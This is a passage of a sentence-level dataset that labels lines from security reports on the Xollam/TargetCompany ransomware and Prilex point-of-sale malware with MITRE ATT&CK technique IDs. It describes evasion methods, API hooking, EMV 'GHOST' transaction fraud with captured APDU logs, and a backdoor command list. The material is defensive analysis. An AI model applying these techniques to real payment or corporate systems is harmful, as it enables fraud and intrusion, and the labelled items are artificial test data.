ransomware family underwent several name changes that signified major updates in the ransomware family, such as modifications in encryption algorithm and different decryptor characteristics.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "The earliest samples of the TargetCompany ransomware appended victims’ files with the extension “.tohnichi,” the name of its victim enterprise at that time, signifying a targeted attack on the organization of the same name.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "As a result, it was initially known as the Tohnichi ransomware.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Later, the group continued appending encrypted files with names based on its victims, such as “.artis” for the Artis Zoo in Amsterdam.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Other extensions include “.herrco,” “.brg,” and “.carone.” Industry experts then later identified the ransomware as TargetCompany from the pattern it adopted of appending encrypted files after the company it was targeting.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "The variants Tohnichi (active in 2021), Mallox, and Fargo (both active in 2022) targeted vulnerabilities in Microsoft SQL (MS SQL) Server for initial access.", "labels": ["T1190"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "We elaborate on the behavior of these variants in our Ransomware Spotlight: TargetCompany.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "The infection chain of the earlier TargetCompany variants Our investigations show that its latest variant, Xollam, now deviates from the gang’s tried-and-tested initial access method.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "In this blog, we discuss this latest development in the TargetCompany ransomware’s behavior and look into its previous infection chains.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Simultaneously active: Xollam and Mallox variants", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "In 2023, Xollam was observed as following a technique similar to the one followed by phishing campaigns: using Microsoft OneNote files as initial access to spread and deliver malware.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "This latest TargetCompany variant executed a spam campaign with malicious OneNote file attachments, a deviation from its roots of targeting vulnerable MS SQL databases.", "labels": ["T1566.001"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Based on our investigations, Xollam uses a pseudo-fileless technique through PowerShell, which executes reflective loading to download its payload.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "As we discuss in later sections, we have also observed this technique in earlier variants of the TargetCompany ransomware.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "The attack flow of the latest TargetCompany variant, Xollam, which uses malicious OneNote files for initial access The latest variant of the ransomware, Xollam, was detected in February this year.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "In the same month, the older Mallox variant was also active, as it claimed the attack on the Federation of Indian Chambers of Commerce and Industry (FICCI).", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "The gang released 1.28 GB of compressed datasets that included financial balance sheets, employee reimbursement details, bank statements and internet banking credentials, industry audit reports, and documents related to FICCI subcommittees.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Reflective loading, Mallox, and Fargo variants", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "The Mallox variant of the ransomware was first detected in the wild in October 2021.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Later samples in January of the following year showed that the ransomware group started to employ reflective loading as part of its defense evasion.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "The Mallox variant connects to an IP address to load the encrypted ransomware, with its download URL only available for approximately 24 hours.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Notably, this made the dynamic analysis of old samples difficult.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Our investigations revealed that the payload downloaded by the PowerShell script was a .NET downloader, which would subsequently retrieve an encrypted payload from the command-and-control (C&C) server.", "labels": ["T1105"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "The downloaded file has a random file name and might have different extensions such as “.png,” “.bmp,” and “.jpg,” among others.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "A closer look at the reflective loading technique that TargetCompany threat actors incorporated; the IP address it connects to changes every 24 hours and deploys different payloads The payload would then be decrypted through XOR or inversion and executed in memory.", "labels": ["T1140"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "The specific payload that is downloaded varies depending on the link on the .NET downloader.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Both Mallox and Fargo variants use a set of tools via remote desktop for defense evasion.", "labels": ["T1021.001"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "It’s important to note that reflective loading enabled the Mallox variant to evade traditional antivirus solutions, making it challenging for organizations to protect themselves against these attacks.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Meanwhile, the Remcos backdoor payload is executed via WmiPrvSE.exe, and the payload most likely arrives by exploiting public-facing websites and domains.", "labels": ["T1190"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Our investigations showed that the gang used different sets of defense evasion and reconnaissance tools such as GMER and Advance Process Termination to manually uninstall antivirus products on the target system.", "labels": ["T1562.001"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "We also observed the presence of YDArk.exe (PCHunter64) for performing rootkit behaviors, and that TargetCompany attempts to terminate security-related processes and services by dropping KILLAV.", "labels": ["T1562.001"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "In addition, the ransomware drops a batch file named killer.bat that terminates various services and applications, including GPS-related services.", "labels": ["T1059.003"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Afterward, it proceeds to steal system information like machine details and other relevant data.", "labels": ["T1082"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "TargetCompany ransomware defense evasion routine", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "The ransomware encrypts the victim's files using the ChaCha20 encryption algorithm and generates the encryption keys using a combination of Curve25519, an example of elliptic curve cryptography, and AES-128.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "In June 2022, the gang targeted other victims with encrypted files appended with the extension “.fargo.”", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "We also observed that like Mallox, the Fargo variant employed reflective loading.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "In the last two months of 2022, there was an increase in attacks launched by the TargetCompany ransomware using its Mallox variant.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Extortion While the Mallox and Fargo variants were operating simultaneously in 2022, TargetCompany initiated its double-extortion scheme by setting up a Telegram channel where it could publish stolen information.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "In August 2022, just two months after the group launched its Fargo variant, Mallox created a Twitter account where it could announce its victims.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Since this account was eventually suspended, the threat actors created a new one. Figure 6.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "The first Twitter account (eventually suspended) that Mallox created for announcing its victims (top), and the new Twitter account that replaced it (bottom); the new account remains active as of this writing In November of the same year, Mallox launched its data leak site where, as of writing, it has declared only 20 victims.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "However, our telemetry data revealed far more attacks at 269 attempts on Trend Micro customers from March 2022 to April 2023.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "In a January 2023 interview, threat actors behind TargetCompany said that they choose only a small percentage of their victims to publish on their leak site.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "They also limit the amount of leaked data to what they deem particularly interesting and claim to have no intention of publishing everything.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "While the group said that it remains small and closed, the actors behind it mentioned that they are “open to suggestions.”", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Interestingly, a new member of the cybercrime forum RAMP under the name “Mallx” was observed recruiting affiliates for the Mallox ransomware-as-a-service (RaaS) affiliate program.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Our investigations also revealed that the ransomware might have connections with other groups such as the BlueSky ransomware, as well as the threat actors who perform brute-force attacks on MS SQL Servers.", "labels": ["T1110"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "TargetCompany shares similarities with these groups in terms of threat actor profiles, targets, deployed remote control, and encryption algorithm.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "We discuss other possible affiliations, as well as victim profiles and behaviors in our Spotlight feature on the ransomware group.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Conclusion The TargetCompany ransomware is making bolder ventures beyond its tried-and-tested techniques by joining the bandwagon of OneNote phishing campaigns, which allows it to cast a wider net for increased profitability.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Within just two years of activity, the threat actors behind the ransomware are proving their hunger for prolificacy, expanding their business model with a RaaS affiliate program and maintaining several platforms to announce victims and expose stolen data.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "We can expect TargetCompany to make even bigger moves in the future, especially since the threat actors behind it have admitted that they created TargetCompany to move away from the restrictions and inflexibility of their previous groups.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Now unhindered, the gang will naturally try to maximize profits from its victims.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "To protect systems from ransomware attacks, we recommend that both individual users and organizations implement best practices such as applying data protection and backup and recovery measures to secure data from possible encryption or erasure.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Conducting regular vulnerability assessments and patching systems in a timely manner can also minimize the damage dealt by ransomware families that abuse exploits.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "We advise users and organizations to update their systems with the latest patches and apply multilayered defense mechanisms.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "End users and enterprises alike can mitigate the risk of infection from new threats like the TargetCompany ransomware by following these security best practices: Enable multifactor authentication (MFA) to prevent attackers from performing lateral movement inside a network.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Adhere to the 3-2-1 rule when backing up important files.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "This involves creating three backup copies on two different file formats, with one of the copies stored in a separate location.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Patch and update systems regularly.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "It’s important to keep operating systems and applications up to date and maintain patch management protocols that can deter malicious actors from exploiting any software vulnerabilities.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Authors Earle Maui Earnshaw Threats Analyst Nathaniel Morales Threat Analyst Katherine Casona Threat Analyst Don Ovid Ladores Threats Analyst", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Prilex is a Brazilian threat actor that has evolved out of ATM-focused malware into modular point-of-sale malware.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The group was behind one of the largest attacks on ATMs in the country, infecting and jackpotting more than 1,000 machines, while also cloning in excess of 28,000 credit cards that were used in these ATMs before the big heist.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "But the criminals’ greed had no limits: they wanted more, and so they achieved it.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Active since 2014, in 2016, the group decided to give up ATM malware and focus all of their attacks on PoS systems, targeting the core of the payment industry.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "These are criminals with extensive knowledge of the payment market, and EFT software and protocols.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "They quickly adopted the malware-as-a-service model and expanded their reach abroad, creating a toolset that included backdoors, uploaders and stealers in a modular fashion.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Since then, we have been tracking the threat actor’s every move, witnessing the damages and great financial losses they brought upon the payments industry.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The Prilex PoS malware evolved out of a simple memory scraper into very advanced and complex malware, dealing directly with the PIN pad hardware protocol instead of using higher level APIs, doing real-time patching in target software, hooking operating system libraries, messing with replies, communications and ports, and switching from a replay-based attack to generate cryptograms for its GHOST transactions even from credit cards protected with CHIP and PIN technology.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "It all started with ATMs during a carnival celebration During the carnival of 2016, a Brazilian bank realized that their ATMs had been hacked, with all the cash contained in those machines stolen.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "According to reports from law enforcement agencies, the criminals behind the attack were able to infect more than 1,000 machines belonging to one bank in the same incident, which allowed them to clone 28,000 unique credit cards across Brazil.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The attackers did not have physical access to the machines, but they were able to access the bank’s network by using a DIY device containing a 4G router and a Raspberry PI.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "By opening a backdoor, they were able to hijack the institution’s wireless connection and target ATMs at will.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "After obtaining initial network access, the attacker would run a network recognition process to find the IP address of each of the ATMs.", "labels": ["T1016"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "With that information in hand, the attackers would launch a lateral movement phase, using default Windows credentials and then installing custom-crafted malware in the desired systems.", "labels": ["T1078"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The backdoor would allow the attacker to empty the ATM socket by launching the malware interface and typing a code supplied by the mastermind, the code being specific to each ATM being hacked.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "ATM infected with Prilex ready to dispense money The malware used in the attack was named Prilex and had been developed from scratch by using privileged information and advanced knowledge of the ATM network.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "To control the ATMs, Prilex did patch in legitimate software for jackpotting purposes.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Besides its capability to perform a jackpot, the malware was also capable of capturing information from magnetic strips on credit and debit cards inserted into the infected ATMs.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Afterwards, this valuable information could be used to clone cards and steal further funds from the bank’s clients.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Evolving into PoS malware Prilex has evolved out of ATM-focused malware into modular point-of-sale malware targeting payment systems developed by Brazilian vendors, the so-called EFT/TEF software.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "As we noted in 2018, there are many similarities between their ATM and PoS versions.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Their first PoS malware was spotted in the wild in October 2016.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The first two samples had 2010/2011 as the compilation date, as shown on the graph below.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "However, we believe that invalid compilation dates were set due to incorrect system date and time settings.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "In later versions, the timestamps corresponded to the times when the samples were discovered.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "We also noticed that in the 2022 branch, the developers started using Subversion as the version control system.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Versions of the Prilex PoS malware: 3 new versions in 2022 (download)", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "As we see on the graph, Prilex was highly active in 2020, but suddenly disappeared in 2021, resurfacing in 2022 with a release of three new variants.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The PoS version of Prilex is coded in Visual Basic, but the stealer module, described in this article, is in p-code.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "In a nutshell, this is an intermediate step between high-level instructions in a Visual Basic program and the low-level native code executed by a CPU.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Visual Basic translates p-code statements into native code at runtime.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "A link to the past Prilex is not the only type of PoS malware to originate in Brazil.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "We saw a weak link with the old Trojan-Spy.Win32.SPSniffer, which we described in 2010: both families are able to intercept signals from PIN pads, but use different approaches in doing so. PIN pads are equipped with hardware and security features to ensure that security keys are erased if someone tries to tamper with the device.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "In fact, the PIN is encrypted in the device upon entry using a variety of encryption schemes and symmetric keys.", "labels": ["T1573.001"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Most often, this is a triple DES encoder, making it hard to crack the PIN.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "There is a problem, though: these devices are always connected to a computer via a USB or serial port, which communicates with the EFT software.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Older and outdated PIN pad devices use obsolete and weak cryptography schemes, making it easy for malware to install a USB or serial port sniffer to capture and decrypt the traffic between the PIN pad and the infected system.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "This is how SPSniffer gets credit card data.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Sometimes the traffic is not even encrypted.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "SPSniffer: serial port sniffer allowing capture of not-encrypted traffic", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The main approach used by Prilex for capturing credit card data is to use a patch in the PoS system libraries, allowing the malware to collect data transmitted by the software.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The malware will look for the location of a particular set of executables and libraries in order to apply the patch, thus overwriting the original code.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "With the patch in place, the malware collects the data from TRACK2, such as the account number and expiration date, in addition to other cardholder information needed to perform fraudulent transactions.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Initial infection vector Prilex is not a widespread type of malware, as it is not distributed through email spam campaigns.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "It is highly targeted and is usually delivered through social engineering, e.g., a target business may receive a call from a “technician” who insists that the company needs to update its PoS software.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The fake technician may visit the target in person or request the victims to install AnyDesk and provide remote access for the “technician” to install the malware.", "labels": ["T1219"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Warning from a PoS vendor about Prilex social engineering attacks Messing with the EMV standard Brazil began migrating to EMV in 1999, and today, nearly all cards issued in the country are chip enabled.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "A small Java-based application lives inside the chip and can be easily manipulated in order to create a “golden ticket” card that will be valid in most—if not all—point-of-sale systems.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "This knowledge has enabled the criminals to upgrade their toolset, allowing them to create their own cards featuring this new technology and keeping them “in the business.”", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The initial versions of Prilex were capable of performing the “replay attack,” where, rather than breaking the EMV protocol, they instead took advantage of poor implementations.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Since payment operators fail to perform some of the validations required by the EMV standard, criminals can exploit this vulnerability within the process to their benefit.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "In this kind of attack, fraudsters push regular magnetic stripe transactions through the card network as EMV purchases, as they are in control of a payment terminal and have the ability to manipulate data fields for transactions put through that terminal.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Later they switched to capturing traffic from real EMV-based chip card transactions.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The thieves could insert stolen card data into the transaction stream, while modifying the merchant and acquirer bank account on the fly.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Brazilian cybercriminals have successfully launched replay attacks since at least 2014.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "As pointed out by Brian Krebs, a small financial institution in New England battled some $120,000 in fraudulent charges from Brazilian stores within less than two days.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The bank managed to block $80,000, but the bank’s processor, which approves incoming transactions when the core systems are offline, let through the other $40,000.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "All of the fraudulent transactions were debit charges.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "All of them came across MasterCard’s network and appeared to be chip transactions without a PIN to MasterCard’s systems.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Also worth mentioning is the attack against a German bank in 2019, which registered €1.5 million in losses and used the same technique.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The Prilex gang claimed responsibility.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Judging by the name fields and the functionality of the tool, they probably used the software they are selling in the black market.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "To automate attacks using cloned credit cards, Prilex criminals used tools like Xiello, discovered by our telemetry in 2020.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "This tool allows the cybercriminals to use credit cards in a batch when making fraudulent purchases.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "It sends the purchase data to credit card acquirers, who then approve or deny the transactions.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Xiello tool used by Prilex to automate transactions", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "As the payment industry and credit card issuers fixed EMV implementation errors, replay attacks became obsolete and ineffective, pushing the Prilex gang to innovate and adopt other ways of credit card fraud.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "From “Replay” to “Ghost” The latest versions of Prilex show certain differences to previous ones in the way the attack occurs: the group has switched from the replay attacks to fraudulent transactions using cryptograms generated by the victim card during the in-store payment process, referred to by the malware authors as “GHOST transactions.”", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "In these attacks, the Prilex samples were installed in the system as RAR SFX executables that extracted all required files to the malware directory and executed the installation scripts (VBS files).", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "From the installed files, we can highlight three modules used in the campaign: a backdoor, which is unchanged in this version except for the C2 servers used for communication; a stealer module; and an uploader module.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Prilex methods of maintaining persistence The stealer module is responsible for intercepting all communications between the point-of-sale software and the PIN pad used for reading the card during the transaction.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Once it identifies a running transaction, the malware will intercept and modify the content of the transaction in order to be able to capture the card information and to request new EMV cryptograms to the victim’s card.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "These cryptograms are then used in the GHOST transactions.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Method used to parse the PIN pad messages sent/received In order to target a specific process, the criminals will perform an initial screening of the machine—to check if it is an interesting target with enough credit card transactions and to identify the process they will target.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "After the process is identified, the malware will move forward to install the hooks needed to intercept the transaction information.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "As the communication between the PoS software and the card reader happens through the COM port, the malware will install a hook to many Windows APIs inside the targeted process, aiming to monitor and change data as needed.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Interestingly enough, instead of allocating memory to the hook procedure, Prilex finds free space within the modules memory, a technique called code cave, making it hard for some security solutions to detect the threat in an infected system.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Hook code added into CloseHandle process All captured information from the transaction is saved to an encrypted file placed in a directory previously set by the malware configuration.", "labels": ["T1074.001"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Those files will later be sent to the malware C2 server, allowing the cybercriminals to make transactions through a fraudulent PoS device registered in the name of a fake company.", "labels": ["T1041"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Captured credit card data that will be later sent to the operator server The previous version monitored the transaction in order to get the cryptogram, generated by the card for the original transaction, and then to perform a replay attack using the collected cryptogram.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "In this case, the cryptogram has the same ATC (Application Transaction Counter), allowing the fraudulent transaction to be identified by the reuse of the ATC as well as the fact that the date inside the cryptogram did not match the date when it was submitted, as the fraudulent transactions were submitted at a later point in time.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "In GHOST attacks performed by the newer versions of Prilex, it requests new EMV cryptograms after capturing the transaction.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "These cryptograms will then be used in a fraudulent transaction through one of the cybercrime tools whose output log can be seen below.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "[START GHOST] _ 80CA9F17 |9F1701039000 | 002000800826435643FFFFFFFF", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "| Check PIN9000 _", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "| 80AE80001D00000000010000000000000000760000008000098620060600B4E5C6EB -> Generate AC80128000AA5EA486052A8886DE06050A03A4B8009000 -> Generated ARQC[END GHOST]", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The table above shows the data collected from the malware.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "It contains the Authorization Request Cryptogram (ARQC) that was generated by the card and should now be approved by the card issuer.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "After dissecting the response (80128000AA5EA486052A8886DE06050A03A4B8009000), we have the following information.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Data Field details 80 12 Size of the response: 18 bytes 80 Cryptogram Information Data: ARQC (Authorization Request Cryptogram): go and ask the issuer 00AA ATC: Application Transaction Counter 5EA486052A8886DE Application Cryptogram 06050A03A4B800 Issuer Application Data 9000 Response OK", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Multiple application cryptograms are applied to the card, where the amount of the transaction (blue), ATC (green) and the generated cryptogram (red) change for each transaction.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "[START GHOST] 80CA9F179F1701039000002000800826435643FFFFFFFF900080AE80001D00000000010000000000000000760000008000098620060600B4E5C6EB80128000AA5EA486052A8886DE06050A03A4B8009000", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "[END GHOST]", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "[START GHOST] 80CA9F179F1701039000002000800826435643FFFFFFFF900080AE80001D00000000100000000000000000760000008000098620060600E22CB55580128000AB8E988F00ACEE5D4806050A03A4B8009000", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "[START GHOST] 80CA9F179F1701039000002000800826435643FFFFFFFF900080AE80001D0000000020000000000000000076000000800009862006060007EBA76480128000AC5E1E75557CC57E1206050A03A4B8009000", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "[START GHOST]", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "80CA9F179F1701039000002000800826435643FFFFFFFF900080AE80001D000000003000000000000000007600000080000986200606002598491680128000ADCF54C11A58083ADB06050A03A4B8009000", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "[END GHOST] In a nutshell, this is the entire Prilex scheme: Prilex: from infection to cashout Backdoor module The backdoor has many commands, and aside from memory scanning common to memory scrappers, older (ATM) Prilex versions also featured a command to debug a process and peek into its memory.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "It is highly likely that this was used to understand target software behavior and perform adjustments on the malware or environment to perform fraudulent transactions.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Older versions of Prilex performed patching on specific software libraries, whereas newer samples do not rely on specific software anymore and will instead hook Windows APIs to perform its job.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "The Prilex debugger Here’s a list of commands used in the ATM version of Prilex, which include debugging:", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Reboot, SendKeys, ShowForm, Inject, UnInject, HideForm, Recursos, GetZip, SetStartup, PausaProcesso, LiberaProcesso, Debug, SendSnapShot, GetStartup, CapRegion, CapFerro, KillProcess, Shell, Process, GetModules, GetConfig, StartSendScreen, StopSendScreen, ReLogin, StartScan, GetKey, SetConfig, RefreshScreen, Download, TakeRegions, Enviar Arquivo, ScanProcessStart, ScanProcessStop, StartRegiao, StopRegiao, StartDownload, StopDownload.", "labels": ["T1105", "T1113"], "doc_title": "Prilex Brazilian PoS malware evolution"} {"sentence": "Even though a new set of commands has been added to the PoS version, we could find some of those from the ATM attack still being used.", "labels": [], "doc_title": "Prilex Brazilian PoS malware evolution"} 